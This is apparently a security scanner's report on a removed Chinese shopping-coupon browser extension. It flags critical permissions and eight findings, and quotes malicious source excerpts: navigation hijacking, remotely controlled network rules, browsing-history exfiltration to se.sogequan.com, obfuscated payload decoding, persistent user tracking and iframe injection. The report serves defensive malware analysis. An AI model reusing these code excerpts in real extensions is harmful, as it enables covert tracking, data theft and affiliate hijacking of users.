搜个券

ID: dochpllpidpeeejofcmjpdmdcbhmdbfh

Could be malicious

Supported Languages

🇨🇳Chinese (Simplified)

Extension Info & Metadata

Status
Removed
Version
7.21.53
Size
0.09 MB
Rating
0.0/5
Reviews
0
Users
90,000
Type
Extension
Updated
Feb 1, 2024
Category
Lifestyle Shopping
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
sundanqcView Profile
Country
中国
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Address
浙桥路277号2号楼 上海 201200 中国
Total Extensions
10
Active
0
Obsolete
10
Listed
10
Unlisted
0
Total Users
1,020,081

搜个券,在您逛天猫淘宝网站时,为您搜索获取隐藏券,购买更便宜!

打开淘宝天猫购物网站,必须要登录该网站,可以查看是否有优惠券,通过优惠券购买为用户带来返利。如果有优惠券会在商品详情页的内嵌中显示出来,还会显示一个同款推荐。如果商家未提供优惠券则不显示内嵌的内容。

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.

A chrome.tabs.onUpdated listener (q) inspects every navigation and, if the destination host matches entries in s.ul (URL list) or s.al (domain regex list) fetched from the remote server se.sogequan.com, calls A() to silently redirect the user's tab (chrome.tabs.update) or open a new tab to a URL chosen at random from the remote-controlled list. This is classic affiliate-link / navigation hijacking on all http(s) URLs due to <all_urls> host permissions.

js/background.js (Line 634)
function A(e, t, a) {  a && a.status && ("loading" == a.status || "complete" == a.status) && (a = e.u.length, a = Math.floor(Math    .random() * a), e.f ? chrome.tabs.create({    url: e.u[a],    active: e.a  }, function(e) {}) : chrome.tabs.update(t.id, {    url: e.u[a],    highlighted: t.highlighted  }, null))}async function q(e, t, a) {  var n;  t && t.status && (c > (new Date)    .getTime() || (s.gt && (c = (new Date)      .getTime() + 1e3 * s.gt), function(e) {      if (s && s.wl)        for (var t = s.wl, a = 0; a < t.length; a++)          if (e.match(t[a])) return 1    }(a.url)) || "" == (n = function(e) {      ...    })(a.url)) || (s && s.ul && s.ul[n] ? async function(e, t, a, n) {    ...A(t, a, n)  }(n, s.ul[n], a, t): s && s.al && async function(e, t, a, n) {    ...    for (var r in t)      if (a.url.match(r)) return !(t[r].ts && !S(t[r].ts) || (...A(t[r], a, n)))  }(n, s.al, a, t)))

The extension fetches /coupon/send.json from se.sogequan.com, decodes it with the custom obfuscator, and directly installs the returned objects as dynamic declarativeNetRequest rules via updateDynamicRules. The server can therefore add, remove, or mutate network rules (including modifyHeaders actions) on the user's browser at any time — effectively remote control of request/response tampering across all origins.

js/background.js (Line 230)
async function T(e) {  try {    e.forEach(e => {      var t = e.id,        a = t;      try {        chrome.declarativeNetRequest.updateDynamicRules({          removeRuleIds: [a]        }, () => {          ...        })      } catch (e) {}      a = t, t = e;      try {        chrome.declarativeNetRequest.updateDynamicRules({          addRules: [{            id: a,            priority: t.priority,            action: t.action,            condition: t.condition          }],          removeRuleIds: [a]        }, () => {          ...        })      } catch (e) {}    })  } catch (e) {}}async function D(e) {  e && await w.remove("upd");  e = (function() {    var e = "http:" + l + "/coupon/send.json";...  })(), e = await y(e.u, e.pa);  if (e) {    await w.set("upd", {      value: e,      options: (new Date).getTime() + 262e5    });    e = u()(e); // decode obfuscated payload    try {      var t = e && JSON.parse(e) || {};      s = t    } catch (e) {}  }}

On every first visit of the day to any domain, the content script sends the full window.location.href (URL-encoded) via the `geth` handler, which the background forwards to http://se.sogequan.com/coupon/logc. This is systematic browsing-history exfiltration across all http(s) sites granted by <all_urls>.

js/content.js (Line 107)
init: function() {  var e = parseUrl(window.location.href).hostname,    t = n.getFormatDate();  (new Date).getTime();  a.getValue(e) != t && (a.setValue(e, t), chrome.runtime.sendMessage({    title: "geth",    options: {      url: encodeURIComponent(window.location.href)    }  }, function(e) {}))},

Custom de-obfuscation routine: splits the remote response into even/odd character streams, reverses each, concatenates, pads, and base64 decodes. It is used to decode all command/config payloads (rules, affiliate lists, whitelists) received from se.sogequan.com, making the server-controlled behavior opaque to static analysis.

js/background.js (Line 3)
776: e => {  function s(e) {    for (var t, a, n, o, r, i, s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", c = "", u = 0, l = (l = e).replace(/[^A-Za-z0-9\+\/\=]/g, ""); u < l.length;)...c += String.fromCharCode(n << 2 | o >> 4), 64 != r && (c += String.fromCharCode(t)), 64 != i && (c += String.fromCharCode(a));    return c = function(e) {      ...    }(c)  }  e.exports = function(e) {    if ("" == e) return "";    for (var t = e, a = 0, n = "", o = ""; a < t.length;) a % 2 == 0 ? n += t.charAt(a++) : o += t.charAt(a++);    var e = "",      r = "",      i = (code = n.split("").reverse().join("") + o.split("").reverse().join("")).length % 4;    if (0 != i) {      for (a = 0; a < 4 - i; a++) r += "=";      e += r    }    return s(code + e)  }}

A 32-hex-char persistent device ID is generated on first run and stored in chrome.storage.local, then attached as `u` to every telemetry/fetch request. The b() beacon POSTs this UID alongside channel/version metadata to se.sogequan.com/log.json on install and daily thereafter, enabling silent per-user tracking across browsing sessions.

js/background.js (Line 260)
async function b() {    var e = Object.assign({        et: 11      }, j(), {}),      t = Object.keys(e).sort(),      t = f(t, e),      e = "http://" + l + "/log.json";    await p.log(e, t)  }  ...  !async function() {    (e = await w.get("show")) && e.value ? t.value : await w.get("show", {      value: 1,      options: 0    });    var e = await w.get("uid"),      t = ("" == (i = e && e.value ? e.value : i) && (i = n.uid(), await w.set("uid", {        value: i,        options: (new Date).getTime()      })), await w.get("cn"));    ...    await w.set("uid", {        value: i,        options: (new Date).getTime()      }),      await w.set("ver", {        value: a(),        options: (new Date).getTime()      }), x()  }();

The background message handler exposes an `insert` RPC that calls chrome.scripting.executeScript with a caller-supplied `files` array, and a `net` RPC that proxies arbitrary ajax through O.ajax on behalf of content scripts. Together these let content scripts inject bundled JS into any tab and perform cross-origin fetches via the privileged background context (amplified by the Access-Control-Allow-Origin:* rule), a privilege-escalation channel that bypasses CSP/SOP at web-page scope.

js/background.js (Line 601)
function E(e, t, a) {  function n() {    a && a(arguments && arguments[0])  }  if ("insert" === e.title) {    var o = e,      r = t;    try {      o.files ? o.files.forEach(function(e) {        ("js" === e.type || "css" === e.type) && chrome.scripting.executeScript(r.tab.id, {          files: [e.name]        }, () => {})      }) : chrome.scripting.executeScript(r.tab.id, {        files: ["css/app.css"]      }, () => {})    } catch (e) {}  } else "net" === e.title ? (e.settings.success = n, O.ajax(e.settings)) : ...}

Content script injects remotely-configured iframes into arbitrary pages, with the iframe's src coming from the decoded `fset`/hotsell response (t.u) and the current page URL appended as `up=<encoded href>`. This leaks the user's visited URLs to the third-party iframe host and allows the attacker to render arbitrary cross-origin UI inside first-party pages.

js/content.js (Line 50)
showStars: function(e) {    var t = parseUrl(window.location.href).hostname,      n = chrome.runtime.id + t,      e = e[t];    e && 0 != e.length && a.getItem(n) && e.forEach(e => {      e.ts && !this.IsInTimeSection(e.ts) || this.addItem(e, n)    })  },  addItem: function(t, n) {    var o, e = document.getElementById(t.d);    1 != t.c || e || ((o = document.createElement("iframe"))      .id = t.d, o.src = t.u + "?t=6&up=" + encodeURIComponent(window.location.href), o.scrolling = "no", o      .style = t.s, window.setTimeout(function() {        var e;        0 < $("#" + t.d).length || (e = 0 < $(t.nk).length ? t.dk : t.ak, i.addDom(e, t.p, o), a.setItem(n, t.t))      }, t.dy))  }

A static declarativeNetRequest rule forces `Access-Control-Allow-Origin: *` on every response from se.sogequan.com. This lets scripts on any origin read the server's responses cross-origin, which aids covert data channels and makes the attacker-controlled API universally reachable from injected content.

rules.json (Line 1)
[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "Access-Control-Allow-Origin",          "operation": "set",          "value": "*"        }      ]    },    "condition": {      "urlFilter": "se.sogequan.com"    }  }]

By severity

Critical3
High4
Medium1
Low0

Versions scanned

Showing 1 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
7.21.538

Files with findings

3 distinct paths — top paths by unique finding count:

  • js/background.js5
  • js/content.js2
  • rules.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
js/content.js (line 107)On every first visit of the day to any domain, the content script sends the full window.location.href (URL-encoded) via the `geth` handler, which the background forwards to http://se.sogequan.com/coupon/logc. This is …
2Network Interception
critical
js/background.js (line 634)A chrome.tabs.onUpdated listener (q) inspects every navigation and, if the destination host matches entries in s.ul (URL list) or s.al (domain regex list) fetched from the remote server se.sogequan.com, calls A() to s…
3Remote Code Loading
critical
js/background.js (line 230)The extension fetches /coupon/send.json from se.sogequan.com, decodes it with the custom obfuscator, and directly installs the returned objects as dynamic declarativeNetRequest rules via updateDynamicRules. The server…
4Data Exfiltration
high
js/content.js (line 50)Content script injects remotely-configured iframes into arbitrary pages, with the iframe's src coming from the decoded `fset`/hotsell response (t.u) and the current page URL appended as `up=<encoded href>`. This leaks…
5Obfuscation
high
js/background.js (line 3)Custom de-obfuscation routine: splits the remote response into even/odd character streams, reverses each, concatenates, pads, and base64 decodes. It is used to decode all command/config payloads (rules, affiliate list…
6Privilege Escalation
high
js/background.js (line 601)The background message handler exposes an `insert` RPC that calls chrome.scripting.executeScript with a caller-supplied `files` array, and a `net` RPC that proxies arbitrary ajax through O.ajax on behalf of content sc…
7Tracking
high
js/background.js (line 260)A 32-hex-char persistent device ID is generated on first run and stored in chrome.storage.local, then attached as `u` to every telemetry/fetch request. The b() beacon POSTs this UID alongside channel/version metadata …
8Network Interception
medium
rules.json (line 1)A static declarativeNetRequest rule forces `Access-Control-Allow-Origin: *` on every response from se.sogequan.com. This lets scripts on any origin read the server's responses cross-origin, which aids covert data chan…
URLs
13
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

s.taobao.com/searchhttps://s.taobao.com/search?app=imgsearch&tfsid=
uland.taobao.com/coupon/edetailhttps://uland.taobao.com/coupon/edetail?dx=1&activityId=
s.taobao.com/searchhttps://s.taobao.com/search?app=i2i&rec_type=1&uniqpid=&nid=
http:-http://|https://|//
se.sogequan.com/he/coupon/p/http://se.sogequan.com/he/coupon/p/
item.taobao.com/item.htmhttps://item.taobao.com/item.htm?id=
se.sogequan.com/he/goodsCoupon/itemId/http://se.sogequan.com/he/goodsCoupon/itemId/
se.sogequan.com/he/getCoupon/itemId/http://se.sogequan.com/he/getCoupon/itemId/
domain.com/path/to/somewhere/http://domain.com:8080/path/to/somewhere/?foo=bar#hash
*/*http://*/*
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 4 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.